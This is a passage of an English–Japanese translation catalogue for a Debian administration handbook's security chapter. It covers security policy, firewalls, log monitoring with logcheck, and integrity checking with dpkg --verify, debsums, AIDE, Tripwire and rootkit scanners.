0 - en to ja translation catalogue (263 entries)

en: Firewall
ja: ファイアウォール

en: Security
ja: セキュリティ

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
ja: 情報システムはその環境に依存してさまざまな重要度を持ちます。情報システムは企業が生き残る上で極めて重要な意味を持つ場合もあります。そのため、さまざまな危険から情報システムを保護することが重要です。これらの危険を評価する過程、保護の定義および実装はまとめて「セキュリティプロセス」として知られています。

en: Defining a Security Policy
ja: セキュリティポリシーの定義

en: <emphasis>CAUTION</emphasis> Scope of this chapter
ja: <emphasis>CAUTION</emphasis> この章の適用範囲

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
ja: 「セキュリティ」という単語自体は広い範囲の概念、ツール、手順を意味しており、どの一つをとってみても普遍的に適用できるものではありません。「セキュリティ」という単語の意味を把握するには、自分の目標に関する正確な知識を必要とします。システムを保護することはいくつかの質問に答えることから始まります。何も考えずいい加減に選んだツール群を使うと、間違ったセキュリティの側面に注力するという危険を冒すことになります。

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
ja: このため、最初に目標を設定します。目標設定を手助けするには、以下の質問に答えると良いでしょう。

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
ja: <emphasis>何を</emphasis>保護したいのですか? コンピュータを保護したい場合とデータを保護したい場合とでセキュリティポリシーは異なります。データを保護したい場合、保護したいデータの種類を知る必要があります。

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
ja: <emphasis>何から</emphasis>保護したいのですか? 機密データの漏洩からですか? 予想外のデータ損失からですか? それともサービスが停止したことによる収益の損失からですか?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
ja: <emphasis>誰から</emphasis>保護したいのですか? 入力ミスを犯すシステムの一般ユーザから保護したい場合と執拗な攻撃を加えるグループから保護したい場合とでは、必要なセキュリティ対策は全く異なるものになるでしょう。

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
ja: 「リスク」という用語は習慣的に、3 つの要素をまとめて意味しています。すなわち、保護したいのは何なのか、防ぎたい危険とは何なのか、危険を引き起こすのは誰なのかという 3 つの要素を意味しています。リスクをモデル化するには、3 つの質問に答える必要があります。ここで作られたリスクモデルからセキュリティポリシーが構成され、セキュリティポリシーは具体的な動作を伴い履行されます。

en: <emphasis>NOTE</emphasis> Permanent questioning
ja: <emphasis>NOTE</emphasis> 永久的な質問

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
ja: セキュリティ分野 (コンピュータ以外のセキュリティも含めたセキュリティ分野) における世界的専門家である Bruce Schneier はセキュリティの最も重要な通説に反対意見を述べようとしています。反対意見のモットーは「セキュリティとは過程であって、成果ではない」です。保護したい資産だけでなく、脅威や潜在的な攻撃者が使う手段も時間経過に伴い変化します。最初にセキュリティポリシーが完璧に設計され履行されたとしても、決してその栄光に満足するべきではありません。リスクの元になる要素が増加すれば、同時にリスクへの対応も増加させなければいけません。

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
ja: 他にも考慮に値する追加的な質問があります。この質問により、利用できるポリシーの範囲を狭めることが可能です。どの程度までシステムを保護したいのですか? この質問はポリシーの設計に大きな影響をおよぼします。この質問には金銭的な費用の意味だけでなく、システムユーザに課される不便さや性能の低下の量という別の要素も考慮して回答すべきです。

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
ja: リスクのモデル化が完了したら、実際のセキュリティポリシーの設計について検討を開始することが可能です。

en: <emphasis>NOTE</emphasis> Extreme policies
ja: <emphasis>NOTE</emphasis> 極端なポリシー

en: There are cases where the choice of actions required to secure a system is extremely simple.
ja: システムを保護するために必要な動作を極めて単純に選ぶことが可能な場合があります。

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
ja: たとえば、保護されるシステムが 1 台の中古コンピュータから構成されるとします。このシステムは毎日の終わりにいくつかの数の足し算を行うためだけに使われます。このようなシステムを特別に保護しないことはかなり理に適っています。本質的なシステムの価値は低いです。データはコンピュータに保存されないため、データの価値もありません。この「システム」に侵入されたところで、潜在的な攻撃者が手に入れられるのは大きすぎて扱いにくい計算機だけです。このようなシステムの場合、保護に必要な費用は侵害によって脅かされる費用よりも多いかもしれません。

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
ja: その対極に、可能な限り包括的な方法を使って機密データの機密性を考え得る他のどんな方法よりも強力に保護したいとします。この場合の適切な方針は機密データを完全に破壊することです (安全にファイルを削除し、ハードディスクを粉々に破砕し、破片を酸に溶かすなどの方法で完全に破壊します)。追加的な要求としてデータを将来使えるように保存する必要があり (とは言え簡単に利用できる必要はありません)、さらに保存にかかる費用に糸目を付けない場合、データをイリジウムプラチナ合金板に保存し、この板を世界中に位置するいくつかの山の下にある防弾掩体壕の内部に保存し、各保存場所を (もちろん) 完全に秘密かつ軍隊の全員で警備することが適切な方針です。

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
ja: 多くの場合、情報システムを一貫性のある独立した小集団に分割することが可能です。各サブシステムには固有の要求と制限事項があります。このため、リスク評価とセキュリティポリシーの設計はそれぞれのサブシステムごとに別々に実行されるべきです。簡潔にうまく定義された境界を定義するほうが複雑に曲がりくねった境界を定義するよりも簡単という原理は覚えておくと良いでしょう。ネットワーク組織もまた適切に設計されるべきです。すなわち、機密を取り扱うサービスは少数のマシンに集中させるべきで、それらのマシンへのアクセスを可能にするチェックポイントの数も最小限に留めるべきです。そして、これらのチェックポイントを守ることは、外の世界全体からすべての機密を取り扱うマシンを守ることよりも簡単です。近年、ネットワークフィルタ (ファイアウォールを含めて) の実用性が明らかになりつつあります。ネットワークフィルタは専用ハードウェアを使って実装されることも可能ですが、Linux カーネルに統合されているソフトウェアファイアウォールを使えばより簡単で柔軟性の高いフィルタを作成することが可能です。

en: Firewall or Packet Filtering
ja: ファイアウォールとパケットフィルタリング

en: <primary>firewall</primary>
ja: <primary>ファイアウォール</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
ja: <emphasis>BACK TO BASICS</emphasis> ファイアウォール

en: <primary>packet</primary><secondary>IP</secondary>
ja: <primary>パケット</primary><secondary>IP パケット</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
ja: <emphasis>ファイアウォール</emphasis>はハードウェアかソフトウェアの形で提供されるコンピュータ部品の一種で、受信および送信する (ローカルネットワークに到着したり、ローカルネットワークから送信される) ネットワークパケットを仕分けて事前に定義された条件に一致するパケットだけを通過させるものです。

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
ja: ファイアウォールはネットワークゲートウェイをフィルタするもので、ゲートウェイを通過しなければいけないパケットだけに有効です。それ故、フィルタしたいパケットをファイアウォール以外の経路で宛先に配送することが可能な場合、ファイアウォールは無意味です。

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
ja: <emphasis>SPECIFIC CASE</emphasis> ローカルファイアウォール

en: <primary>chain</primary>
ja: <primary>チェイン</primary>

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
ja: 参考のために書いておきますが、受信バッファとはデータがネットワークから到着してカーネルがデータを処理するまでの間そのデータを保存する小容量のメモリ区画です。このメモリ区画が満杯になると、新しいデータを受け取ることができなくなり、ICMP を使ってこの問題が通知されます。そうすれば送信側はデータの転送速度を遅くすることが可能です (理想的に言えば、しばらくの後に転送速度は平衡状態に達するべきです)。

en: <primary>receive buffer</primary>
ja: <primary sortas="ジュシンバッファ">受信バッファ</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
ja: <primary>バッファ</primary><secondary sortas="ジュシンバッファ">受信バッファ</secondary>

en: Installing the Rules at Each Boot
ja: 起動時にルールを適用する

en: <filename>interfaces</filename> file calling firewall script
ja: ファイアウォールスクリプトを呼び出す <filename>interfaces</filename> ファイル

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
ja: 見ての通りこの例ではネットワークインターフェースを設定するために <emphasis role="pkg">ifupdown</emphasis> を使っています。他の方法 (たとえば <emphasis>NetworkManager</emphasis> や <emphasis>systemd-networkd</emphasis> など) を使ってネットワークインターフェースを設定している場合、それぞれの文書を参照して、インターフェースを起動した後にスクリプトを実行する方法を見つけてください。

en: Supervision: Prevention, Detection, Deterrence
ja: 監督、防止、検出、監査

en: <primary>monitoring</primary>
ja: <primary sortas="カンシ">監視</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
ja: 監視はいくつかの理由によっていかなるセキュリティポリシーにおいても不可欠な要素になっています。最たる理由はセキュリティの目標には通常データの機密性を保証するだけでなく、サービスの可用性を保証することも含まれているという理由です。そのため、すべてが想定通りに稼働しているかを確認したり、さまざまな逸脱した挙動や提供しているサービス品質の変化をタイミング良く検出したりすることが不可欠です。監視活動のおかげで、危機的状況に陥る前に不正侵入の試行を検出し迅速に対応することが可能です。この節では、Debian システムのさまざまな側面を監視するために使えるいくつかのツールを概説します。この節は<xref linkend="sect.monitoring" />を補完する節です。

en: Monitoring Logs with <command>logcheck</command>
ja: <command>logcheck</command> を使ったログ監視

en: <primary>monitoring</primary><secondary>log files</secondary>
ja: <primary sortas="カンシ">監視</primary><secondary>ログファイル</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
ja: <command>logcheck</command> プログラムはデフォルトでは毎時間ログファイルを監視します。<command>logcheck</command> は不審なログメッセージを電子メールで管理者に送信し、さらなる解析を促します。

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
ja: 監視対象ファイルのリストは <filename>/etc/logcheck/logcheck.logfiles</filename> に保存されています。<filename>/etc/rsyslog.conf</filename> ファイルが完全に書き換えられていない限り、デフォルト値でうまく動作します。

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
ja: <command>logcheck</command> の動作モードには 3 種類あり、そのうちの 1 つを選びます。具体的に言えば、<emphasis>paranoid</emphasis>、<emphasis>server</emphasis>、<emphasis>workstation</emphasis> から 1 つ選びます。<emphasis>paranoid</emphasis> モードは<emphasis>とても</emphasis>詳細で、<emphasis>paranoid</emphasis> モードを使うのはファイアウォールなどの特定のサーバに限定するべきです。<emphasis>server</emphasis> モードはデフォルトで、多くのサーバでは <emphasis>server</emphasis> モードを使うことを推奨します。<emphasis>workstation</emphasis> モードはワークステーション用に設計されており、かなり簡潔です (より多くのメッセージを除外します)。

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
ja: どの動作モードを選んだ場合でも、管理者は毎時間のバッチ処理のたびに長くてつまらない電子メールを受け取ることを本当に望むのでなければ、<command>logcheck</command> を (インストール済みサービスに基づき) カスタマイズしていくつかの余分なメッセージを除外するべきです。メッセージ選択ルールはかなり複雑なので、もし挑戦するなら <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> を読むと良いでしょう。

en: The applied rules can be split into several types:
ja: メッセージに対して適用されるルールは以下に示す種類に分類されます。

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
ja: クラッキングの試行として分類するメッセージのルール (<filename>/etc/logcheck/cracking.d/</filename> ディレクトリ内のファイルに保存します)。

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
ja: クラッキングの試行として分類されたメッセージの分類を解除するメッセージのルール (<filename>/etc/logcheck/cracking.ignore.d/</filename> ディレクトリ内のファイルに保存します)。

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
ja: セキュリティ警告として分類するメッセージのルール (<filename>/etc/logcheck/violations.d/</filename> ディレクトリ内のファイルに保存します)。

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
ja: セキュリティ警告として分類されたメッセージの分類を解除するメッセージのルール (<filename>/etc/logcheck/violations.ignore.d/</filename> ディレクトリ内のファイルに保存します)。

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
ja: その他のメッセージに適用するルール (<emphasis>システムイベント</emphasis>として分類されます)。

en: <emphasis>CAUTION</emphasis> Ignoring a message
ja: <emphasis>CAUTION</emphasis> メッセージの無視

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
ja: <filename>/etc/logcheck/violations.d/myfile</filename> ファイルに保存されているルールに基づいてクラッキング試行やセキュリティ警告として分類されたメッセージの分類を解除するには、<filename>/etc/logcheck/violations.ignore.d/myfile</filename> または <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> ファイルを使います。

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
ja: <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> ディレクトリ内のルールの 1 つによってシステムイベントが無視されなかった場合を除いて、常にシステムイベントは通知されます。もちろん、ここで考慮されるディレクトリは選択された動作モードの冗長性レベル以上の冗長性レベルに対応するディレクトリです。

en: Monitoring Activity
ja: 監視活動

en: <primary>monitoring</primary><secondary>activity</secondary>
ja: <primary sortas="カンシ">監視</primary><secondary sortas="カツドウ">活動</secondary>

en: <primary>activity, monitoring</primary>
ja: <primary sortas="カツドウ">活動</primary><secondary sortas="カンシ">監視</secondary>

en: In Real Time
ja: リアルタイム監視

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
ja: <command>top</command> は現在実行中のプロセスのリストを表示する対話型ツールです。デフォルトでは現在のプロセッサ使用量に基づいてソートされ、<keycap>P</keycap> キーを押すことで内容を更新することが可能です。他のソート基準として、専有メモリ量 (<keycap>M</keycap> キー)、総プロセッサ時間 (<keycap>T</keycap> キー)、プロセス ID (<keycap>N</keycap> キー) などがあります。<keycap>k</keycap> キーに続けてプロセス ID を入力することで、識別子に対応するプロセスを殺すことが可能です。<keycap>r</keycap> キーを使ってプロセスの <emphasis>renicing</emphasis> を行うことが可能です、つまり優先度を変更することが可能です。

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
ja: <command>top</command> はとても柔軟性の高いツールで、<command>top</command> のマニュアルページでは表示をカスタマイズする方法とそのカスタマイズの結果を個人的なニーズや習慣に反映させる方法が詳細に説明されています。

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
ja: <command>gnome-system-monitor</command> グラフィカルツールは <command>top</command> とよく似ており、大ざっぱに言って <command>top</command> と同じ機能を備えています。

en: History
ja: 履歴

en: <primary>activity, history</primary>
ja: <primary sortas="カツドウ">活動</primary><secondary sortas="リレキ">履歴</secondary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
ja: プロセッサの負荷、ネットワークトラフィック、空きディスク領域などの情報は絶えず変化します。これらの情報の経時変化を保存しておけば、コンピュータの使われ方を明らかにする際に役立ちます。

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
ja: 時間変化する情報の保存には専用のツールがたくさんあります。多くのツールは、この種の情報を一元管理するために、SNMP (<emphasis>Simple Network Management Protocol</emphasis>) を介してデータを取得します。SNMP を使うことで、汎用的なコンピュータを除くネットワーク要素 (たとえば専用ネットワークルータやスイッチ) からデータを取得することが可能になるという恩恵があります。

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
ja: <command>mrtg</command> (同名のパッケージに含まれます) は古いツールです。荒削りな面もありますが、<command>mrtg</command> は時系列データを集計し、これをグラフとして表示することが可能です。<command>mrtg</command> は最も一般的に監視されるデータ (たとえばプロセッサの負荷、ネットワークトラフィック、ウェブページのヒットなどの情報) を収集する多数の専用スクリプトを備えています。

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
ja: <emphasis role="pkg">mrtg-contrib</emphasis> と <emphasis role="pkg">mrtgutils</emphasis> パッケージには、直接使うことができるスクリプトの例が含まれます。

en: <primary>intrusion detection</primary>
ja: <primary sortas="シンニュウケンチ">侵入検知</primary>

en: Detecting Changes
ja: 変更検出

en: Auditing Packages with <command>dpkg --verify</command>
ja: <command>dpkg --verify</command> を使ったパッケージ監視

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
ja: <emphasis>GOING FURTHER</emphasis> Debian 並びにソフトウェア開発元に対する攻撃から手元のシステムを守る

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
ja: <command>dpkg --verify</command> (または <command>dpkg -V</command>) は興味深いツールで、(潜在的には攻撃者によって) 変更を加えられたインストール済みファイルを見つけることが可能です。しかしながら、<command>dpkg --verify</command> の結果は疑ってかかるべきです。なぜなら <command>dpkg --verify</command> は変更されたファイルを検出するために dpkg 自身のデータベースに保存されたチェックサムを使っており、このデータベースはハードディスク上 (<filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>) に保存されているからです。このため、完璧主義の攻撃者なら改竄したファイルに対応する新しいチェックサムを使ってデータベースファイルを更新するでしょう。

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
ja: <emphasis>BACK TO BASICS</emphasis> ファイルの指紋

en: <primary>fingerprint</primary>
ja: <primary sortas="シモン">指紋</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
ja: <command>dpkg -V</command> を実行すると、すべてのインストール済みパッケージが検証され、テストに失敗したファイルが行ごとに表示されます。出力フォーマットは <command>rpm -V</command> が採用しているフォーマットと同じで、行頭の各文字は特定のメタデータに対するテストの結果を意味しています。残念なことに <command>dpkg</command> は多くのテストに必要なメタデータを保存しません。これらのメタデータを必要とするテストの結果は常に疑問符が出力されることになります。今のところ実行できるテストはチェックサムテストだけで、チェックサムテストに失敗した場合、左から 3 番目の文字が「5」になります。

en: Auditing Packages: <command>debsums</command> and its Limits
ja: パッケージの監査、<command>debsums</command> とその限界

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
ja: ディスク上のデータは信頼できないため、<command>debsums</command> は dpkg データベースではなく <filename>.deb</filename> ファイルに基づいてテストを行う機能を提供しています。すべてのインストール済みパッケージに対応する信頼できる <filename>.deb</filename> ファイルをダウンロードするには、APT の認証付きダウンロード機構を使います。この操作は遅くて退屈ですから、この操作を定期的かつ積極的に使う手法として考えるべきではありません。

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
ja: この例の中で、デフォルトではインストールされない <emphasis role="pkg">dctrl-tools</emphasis> パッケージに含まれる <command>grep-status</command> コマンドが使われている点に注意してください。

en: Monitoring Files: AIDE
ja: ファイル監視、AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
ja: AIDE ツール (<emphasis>Advanced Intrusion Detection Environment</emphasis>、<emphasis role="pkg">aide</emphasis> パッケージに含まれます) を使うことで、ファイルの完全性を確認したり、事前に保存された正当なシステムのイメージに対する変更を検出したりすることが可能です。このイメージはシステムのすべてのファイルに対して関連する情報 (指紋、パーミッション、タイムスタンプなど) を記録するデータベース (<filename>/var/lib/aide/aide.db</filename>) に保存されます。このデータベースは最初に <command>aideinit</command> を使って初期化されます。そして毎日、関係のある情報が何も変更されていないことを確認するために、このデータベースは <filename>/etc/cron.daily/aide</filename> スクリプトから使われます。変更が検出されたら、AIDE は変更内容をログファイル (<filename>/var/log/aide/*.log</filename>) に記録し、検出された変更内容を管理者にメールで送信します。

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
ja: <emphasis>IN PRACTICE</emphasis> データベースの保護

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
ja: AIDE はファイルの状態を比較するためにローカルデータベースを使います。結果の信頼性は直接的にデータベースの信頼性と結び付いています。攻撃者が不正アクセスされたシステムの root 権限を取得した場合、攻撃者はデータベースを置き換えて自分の行動の形跡を隠すことが可能です。可能な次善策は参照データを読み込み専用のストレージメディアに保存することです。

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
ja: <filename>/etc/default/aide</filename> に含まれる多くのオプションを使って <emphasis role="pkg">aide</emphasis> パッケージの挙動を微調整します。AIDE 設定は <filename>/etc/aide/aide.conf</filename> と <filename>/etc/aide/aide.conf.d/</filename> に保存されています (実質的に言えば、これらのファイルは <command>update-aide.conf</command> が <filename>/var/lib/aide/aide.conf.autogenerated</filename> を生成するためだけに使われます)。設定は確認する必要のあるファイルの属性の種類を指定します。たとえば、ログファアイルの内容は定期的に変わりますが、この種の変更はファイルのパーミッションが同じなら無視することが可能です。しかし、実行プログラムの内容とパーミッションの両方は必ず同じでなければいけません。設定の構文は、とても複雑というわけではありませんが、十分に直感的というわけでもありません。<citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> マニュアルページを読むことを推奨します。

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
ja: データベースの新しいバージョンは毎日生成され、<filename>/var/lib/aide/aide.db.new</filename> に保存されます。そして、すべての記録された変更が正当ならば、参照データベースを新しいデータベースに置き換えることが可能です。

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
ja: <emphasis>ALTERNATIVE</emphasis> Tripwire と Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
ja: Tripwire は AIDE とよく似ており、Tripwire の設定ファイルの構文も AIDE の設定ファイルの構文とほとんど同じです。AIDE に対する <emphasis role="pkg">tripwire</emphasis> の主な追加点は <emphasis role="pkg">tripwire</emphasis> には設定ファイルを署名するメカニズムが追加されている点です。設定ファイルを署名することで、参照データベースの示す先を異なるバージョンに差し替えることが不可能になります。

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
ja: Samhain も類似の機能を提供しますが、Samhain は rootkit の検出に役立ついくつかの機能を備えています (補注<xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />を参照してください)。Samhain はネットワークを使って広範囲に配備され、中央サーバ上に履歴を (署名と一緒に) 記録することが可能です。

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
ja: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">checksecurity</emphasis> と <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> パッケージ

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
ja: <emphasis role="pkg">checksecurity</emphasis> パッケージには、システムの基本的な確認項目 (空のパスワード、新しい setuid ファイルなど) について確認を行い、必要ならば管理者に警告するための、複数の小さなスクリプトが含まれます。checksecurity という明快な名前にも関わらず、管理者が Linux システムが安全であることを保証するためには checksecurity だけでは不十分です。

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
